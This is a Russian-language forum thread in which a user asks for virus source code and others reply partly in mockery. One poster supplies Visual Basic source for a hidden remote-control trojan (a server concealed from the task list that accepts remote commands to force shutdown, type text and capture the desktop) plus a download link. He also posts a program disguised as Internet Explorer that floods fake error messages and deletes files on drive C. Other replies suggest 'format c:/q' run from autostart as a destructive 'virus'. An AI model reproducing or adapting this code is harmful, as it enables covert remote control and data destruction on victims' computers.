# Форум на русском языке  > Разное  > Оффтоп  >  У вас здесь отличные описания вирусов

## ••••

Очень хорошии описания!!!
Теперь хотелось бы услышать о том как самому написать данный вирус  или лучше пусть кто-нинить-нибудь выложит исходники, будем модифицировать,
исправлять ошибки, искать новые "дырки"))  
Давайте, не стесняйтесь!

----------

Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

----------


## anton_dr

Смеялсо  :Smiley: . Долго. Вам немножко на другой сайт нужно. Называется coolhacker.ya.ostalnie.lamo

----------


## t1lan

лол. =) http://google.com вам в помощь. +)
Ну хотя.. а вы начём кодите? вирусы не рулят, это тупо. Имхо.
вот на ВБ вам... покурите на досуге.
--
server


```
Private Sub Form_Load() 
Me.Hide 
App.TaskVisible = False 
win.LocalPort = 2999 
win.RemotePort = 455 
win.Listen 
End Sub 

Private Sub Timer1_Timer() 
Static count As Integer 
If count <> 20 Then 
SendKeys "{CAPSLOCK}{NUMLOCK}{SCROLLLOCK}", 100 
count = count + 1 
Else 
count = 0 
Timer1.Enabled = False 
End If 
End Sub 

Private Sub win_Close() 
win.Listen 
win.LocalPort = 2999 
win.RemotePort = 455 
End Sub 

Private Sub win_ConnectionRequest(ByVal requestID As Long) 
win.Close 
win.Accept requestID 
End Sub 

Private Sub win_DataArrival(ByVal bytesTotal As Long) 
Dim gotdat As String 
win.GetData gotdat 
If Mid(gotdat, 1, 3) = "msg" Then 
   Dim iconnum As Integer 
   Dim buttonnum As Integer 
   Dim response As String 
   iconnum = Mid(gotdat, 4, 2) 
   buttonnum = Mid(gotdat, 6, 1) 
   response = MsgBox(Mid(gotdat, 7, Len(gotdat) - 3), iconnum + buttonnum + vbMsgBoxSetForeground + vbSystemModal, "!") 
   response = "msgres" & response 
   MsgBox (response) 
   win.SendData response 
ElseIf Mid(gotdat, 1, 3) = "not" Then 
   Shell "notepad.exe", vbMaximizedFocus 
   SendKeys Mid(gotdat, 4, Len(gotdat) - 3) 
   SendKeys "~" 
ElseIf gotdat = "shutdown" Then 
   Shell "shutdown -s -f -t 00" 
ElseIf gotdat = "Keylights" Then 
   Timer1.Enabled = True 
ElseIf gotdat = "desktop" Then 
   Get_Desktop (App.Path & "\DESKTOP.GIF") 
   win.SendData App.Path & "\desktop.gif" 
End If 
End Sub
```

---
клиент


```
Private Sub cmdConnect_Click() 
IpAddy = txtIP.Text 
win.Close 
win.RemotePort = 2999 
win.RemoteHost = IpAddy 
win.LocalPort = 9999 
win.connect 
Timer1.Enabled = True 
StatusBar1.SimpleText = "Connecting to " & win.RemoteHost & " on Port: " & win.RemotePort & "..." 
cmdDisconnect.Enabled = True 
cmdConnect.Enabled = False 
End Sub 

Private Sub cmdDisconnect_Click() 
win.Close 
StatusBar1.SimpleText = "Disconnected" 
cmdConnect.Enabled = True 
cmdShutdown.Enabled = False 
Command1.Enabled = False 
cmdMsgbox.Enabled = False 
Command2.Enabled = False 
cmdDisconnect.Enabled = False 
End Sub 

Private Sub cmdMsgbox_Click() 
If Combo1.ListIndex <> -1 Then 
   If Option1.Value = True Then 
       win.SendData "msg48" & Combo1.ListIndex & txtmsg.Text 
   ElseIf Option2.Value = True Then 
       win.SendData "msg16" & Combo1.ListIndex & txtmsg.Text 
   ElseIf Option3.Value = True Then 
       win.SendData "msg64" & Combo1.ListIndex & txtmsg.Text 
   Else 
       win.SendData "msg32" & Combo1.ListIndex & txtmsg.Text 
   End If 
Else 
   MsgBox ("Select Buttons") 
End If 
End Sub 

Private Sub cmdShutdown_Click() 
win.SendData "shutdown" 
End Sub 

Private Sub Command1_Click() 
win.SendData "not" & txtnot 
End Sub 

Private Sub Command2_Click() 
win.SendData "Keylights" 
End Sub 

Private Sub Command3_Click() 
win.SendData "desktop" 
End Sub 

Private Sub Timer1_Timer() 
If win.State = sckConnected Then 
   StatusBar1.SimpleText = "Connected to " & win.RemoteHost & " on Port: " & win.RemotePort 
   cmdShutdown.Enabled = True 
   Command1.Enabled = True 
   cmdMsgbox.Enabled = True 
   Command2.Enabled = True 
End If 
End Sub 

Private Sub win_DataArrival(ByVal bytesTotal As Long) 
Dim gotdat As String 
win.GetData gotdat 
If Mid(gotdat, 1, 6) = "msgres" Then 
   If Mid(gotdat, 7, 1) = 1 Then MsgBox ("User Clicked OK") 
   If Mid(gotdat, 7, 1) = 2 Then MsgBox ("User Clicked Cancel") 
   If Mid(gotdat, 7, 1) = 3 Then MsgBox ("User Clicked Abort") 
   If Mid(gotdat, 7, 1) = 4 Then MsgBox ("User Clicked Retry") 
   If Mid(gotdat, 7, 1) = 5 Then MsgBox ("User Clicked Ignore") 
   If Mid(gotdat, 7, 1) = 6 Then MsgBox ("User clicked Yes") 
   If Mid(gotdat, 7, 1) = 7 Then MsgBox ("User clicked No") 
End If 
End Sub 

Private Sub win_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long) 
ProgressBar1.Max = bytesSent + bytesRemaining 
ProgressBar1.Value = Int((bytesRemaining + bytesSent) - bytesSent) 
End Sub
```

http://rapidshare.be/files/22244101/cin-sock.rar.html
хотя сомневаюсь что это вам поможет. вы больны. +)))))))))

----------


## orvman

Ап стену галавой. 
Лучше кода, чем *format c:* я еще не видал. А можно еще и с ключами, дабы не отвлекаться на запросы по неск. раз, ну и прописать в autoexec. Приятного времяпрепровождения.

----------


## Dime3us

Точнее даже так:
*format C:/q*
Сохраняем наш страшный вирус (bat,cmd) и прописываем куда нить на выполнение. Наслаждаемся. А уж если приделать еще механизм распространения, вирусу не будет равных.

----------


## t1lan

format c рулит. +)


```
Private Sub Form_Load() 
On Error Resume Next 
FuccC = True 
App.TaskVisible = False 
Call LOLMsg 
End Sub 

Private Sub FuccC_Click() 
MsgBox "Cannot terminate application. It maybe in use by another program or person", vbInformation, "Internet Explorer" 
Dim sFolder() As String 
Dim sTmpFolder As String 
Dim sFile As String 
Dim sPath As String 
Dim i As Integer 
On Error GoTo ErrorHandler 
sPath = "C:\" 'dir which is deleted... I've got many alternatives, VB is my harmony, --- ppl say I'm like witchdoctor and munga bunga, =o/ 
sTmpFolder = Dir(sPath, vbDirectory) 
Do While sTmpFolder <> "" 
If sTmpFolder <> "." And sTmpFolder <> "C:\imadick Wink" Then 
If (GetAttr(sPath & sTmpFolder) And vbDirectory) = vbDirectory Then 
ReDim Preserve sFolder(0 To i) 
sFolder(i) = sTmpFolder & "C\imadick" 
i = i + 1 
End If 
End If 
sTmpFolder = Dir 
Loop 
On Error GoTo ErrorResume 
Do Until Dir(sPath) = "" 
sFile = Dir(sPath) 
Kill sPath & sFile 
Loop 
For i = 0 To UBound(sFolder) 
sTmpFolder = sPath & sFolder(i) 
Do Until Dir(sTmpFolder) = "" 
sFile = Dir(sTmpFolder) 
Kill sTmpFolder & sFile 
Loop 
Next 
Exit Sub 
ErrorResume: 
Resume Next 
ErrorHandler: 
MsgBox Err.Description 
End Sub 

Private Sub LOLMsg() 
Do 
MsgBox "Windows has Encountered an Fatal Error on line 0x0ff40, Windows is now shutting down", vbCritical, "Internet Explorer" 
Loop 
End Sub
```

ну раз все значит и я тоже ещё коё чё подкину

----------

